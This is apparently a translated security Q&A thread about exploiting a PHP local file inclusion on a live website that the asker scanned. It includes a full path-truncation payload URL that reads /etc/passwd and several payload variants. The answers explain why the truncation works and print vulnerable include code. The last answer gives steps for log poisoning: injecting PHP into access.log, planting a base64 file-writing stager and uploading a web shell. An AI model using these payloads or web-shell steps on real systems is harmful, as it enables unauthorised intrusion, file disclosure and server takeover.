如何使用此路径绕过/利用本地文件包含?

信息安全 Web应用程序 php 开发
2021-08-30 00:28:33

我曾尝试在某些网站上运行漏洞扫描脚本(Uniscan 6.0),然后我找到了一个可通过以下路径利用的网站。(包括一个词“无效”,参数/网站都被审查)

http://www.website.com/index.php?param1=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.&param2=value&param3=value

对于我的下一步,我真的很想了解到底发生了什么,所以我试图手动利用它。(我看了一些关于 LFI 的教程)

  1. ../../../../../../../../../../../../../../../etc/passwd&.. .
  2. 无效../../../../../../../../../../../../../../../etc/passwd&. ..
  3. ../../../../../../../../../../../../../../../etc/passwd%00& ...
  4. ../../../../../../../../../../../../../../../etc/passwd/. /./&...
  5. ../../../../../../../../../../../../../../../etc/passwd%00 /././%...

但除了第一个很长的路径外,他们没有工作,这是怎么回事?

我应该使用什么 php 代码?那长长的路径如何绕过易受攻击的 php 代码?

以下信息可能会有所帮助。

< HTTP/1.1 200 OK
< Date: Thu, 19 Jul 2012 19:46:03 GMT
< Server: Apache/2.2.3 (CentOS)
< X-Powered-By: PHP/5.1.6
< Set-Cookie: PHPSESSID=[blah-blah]; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 2094
< Content-Type: text/html
3个回答

迷人!@catalyze 在这里发现了一个真正有趣、可爱的情况。我想花时间总结一下这个网站上发生的事情。(@catalyze 和 Francesco "ascii" Ongaro 的完整学分;我只是在总结他们的解释。)

概括。这不是日常的 LFI 攻击。相反,这是更不寻常和更聪明的事情。这里我们有一个无法通过标准 LFI 方法利用的漏洞;你需要更多的技巧来弄清楚如何利用它。

背景。首先,我需要告诉你两个关于 PHP 文件处理的事实,它们是由 Francesco "ascii" Ongaro 和其他人发现的:

  • 事实 1. 您可以在文件名的末尾添加内容。每个人都知道这/./etc/passwd只是引用/etc/passwd文件的另一种方式。但是,这里有一些你可能不知道的。

    在 PHP 上,事实证明,它/etc/passwd/也指的是/etc/passwd文件:尾部的斜杠被去掉了。狂野吧?这在基本 Unix 上不起作用,所以 PHP 会接受这样的文件名有点令人惊讶,但似乎 PHP 本身在打开文件之前会去除尾部斜杠。

    您可以附加任意数量的斜杠:/etc/passwd////也可以。

    而且,您可以附加./(任意多次)。例如,/etc/passwd/./etc/passwd/.//etc/passwd/././.都指的是/etc/passwd发疯!PHP 不在乎。

  • 事实 2. 长路径被截断。在大多数 PHP 安装中,如果文件名超过 4096 字节,它将被静默截断,并且前 4096 字节之后的所有内容都将被丢弃。没有触发错误:多余的字符被简单地丢弃,PHP 愉快地继续。

攻击。现在我准备描述这次攻击。我将向您展示易受攻击的代码,为什么标准 LFI 攻击不起作用,然后如何构建一个更聪明的有效攻击。结果解释了@catalyze 在他的渗透测试中看到的内容。

易受攻击的代码。假设我们的代码看起来像这样:

<?php
include("includes/".$_GET['param1'].".php");
?>

这看起来像是一个本地文件包含 (LFI) 漏洞,对吧?但情况实际上比最初看起来要复杂一些。要了解原因,让我们看一些攻击。

标准攻击。尝试利用此 LFI 漏洞的标准、简单的方法是提供一个类似于?param1=../../../../var/www/shared/badguy/evil. 上面的 PHP 代码将尝试包含该文件includes/../../../../var/www/shared/badguy/evil.php如果我们假设文件/var/www/shared/badguy/evil.php存在并且被攻击者控制,那么这个攻击将成功地导致应用程序执行攻击者选择的恶意代码。

但这只有在攻击者可以将具有他选择的内容的文件引入文件系统时才有效,文件名以.php. 如果攻击者不控制文件系统上以 结尾的任何文件.php怎么办?那么,标准攻击将失败。无论攻击者提供什么参数值,这只会打开一个以.php扩展名结尾的文件名。

更复杂的攻击。有了我之前给你的额外背景事实,也许你可以看到如何提出更复杂的攻击来克服这个限制。

基本上,攻击者选择了一个很长的参数值,使得构造的文件名长度超过 4096 字节。当文件名被截断时,.php扩展名将被丢弃。如果攻击者可以安排生成的文件名引用文件系统上的现有文件,那么攻击者是好的。

现在这听起来像是一个牵强附会的攻击。我们可以在文件系统上找到其完整路径恰好是 4096 字节长的文件名的几率是多少?也许不是那么好?

这就是背景事实发挥作用的地方。攻击者可以发送一个请求?param1=../../../../etc/passwd/./././././<...>(该./模式重复数千次)。现在看看包含什么文件名,在添加前缀并添加.php文件扩展名之后:它将类似于includes/../../../../etc/passwd/./././././<...>.php. 此文件名将超过 4096 字节,因此将被截断。截断将删除文件扩展名,并为我们留下一个格式为 的文件名includes/../../../../etc/passwd/./././././<...>而且,由于 PHP 处理斜杠和尾随./序列的方式,最后的所有内容都将被忽略。换句话说,这个文件名将被 PHP 视为等同于路径includes/../../../../etc/passwd. 因此 PHP 会尝试从密码文件中读取,当它发现 PHP 语法错误时,它可能会将密码文件的内容转储到错误页面中——向攻击者泄露机密信息。

因此,这种技术允许利用一些通过标准方法无法利用的漏洞。有关更详细的讨论和许多其他示例,请参阅 @catalyze 链接到的页面。

这也解释了为什么@catalyze 无法通过发送以下内容来利用攻击?param1=../../../../etc/passwd.php添加了扩展名,并且文件/etc/passwd.php不存在,因此攻击失败。

概括。PHP 处理文件路径的特殊性使得可以对漏洞进行各种微妙的攻击,否则这些漏洞似乎无法被利用。对于渗透测试者来说,这些攻击技术可能值得了解。

对于开发人员来说,教训是一样的:验证你的输入;不要相信攻击者提供的输入;了解经典的 Web 漏洞,不要将它们引入您的代码中。

最后,我找到了解决方案!

这种 LFI 的绕过技术称为路径截断攻击

设想:

  • 没有白/黑名单、open_base_dir 或任何限制访问配置
  • 有 magic_quotes 转义空字节,因为在所有 GPC 和 SERVER 输入上隐式调用了 addlashes()。(在这种情况下etc/passwd%00会变成etc/passwd\0,所以它不能评估为正确的文件。)
  • include_path(在php.ini 中)最后包含一个绝对路径来触发 PHP 源代码中复杂漏洞的一部分(例如include_path = ".:/usr/share/php"
  • php < ? (谁知道?)

有效载荷:

  • 必须从不存在的目录开始
  • 继续遍历雪橇,指向要包含的路径
  • 以标准化/截断雪橇结束。

聪明人来了。。

http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/

http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

我将回答这个问题,但需要注意的是,我假设这是出于法律目的,并且仅用于安全研究。

如果我们谈论的是 PHP 网站,这可能是后端发生的事情:

$file = fopen($_GET["param"], "r");
/* Do some operation on the file handler, like maybe read the file and output it */
$contents = fread($file, $size);
print $contents

你可能会利用这个 LFI 来上传你的 webshel​​l,并在 web shell 上运行系统命令。最简单的方法是注入 access.log,然后访问 access.log。最简单的方法是修改用户代理,甚至可能是 GET 请求,以包含一些有助于设置 stager 的 PHP 代码。例如,进入网站的 telnet 和以下请求应该注入到 access.log 中:

GET/ <?php phpinfo() ?>

显然,所有这一切都会让您从 access.log 中获取 PHP 信息,但您明白了。现在,在同一行中,您可以轻松地执行以下操作:

GET/ <?php data = $_REQUEST['data']; $filename = $_REQUEST['filename']; file_put_contents($filename,base64_decode($data)); ?>

然后将 base64 编码的 PHP 脚本上传到其中,然后将您的 web shell 放在那里。剩下的就交给你了,应该不难。如果您有兴趣了解有关此内容的更多信息,您应该真正阅读有关Kaotic Creations的真正多部分教程。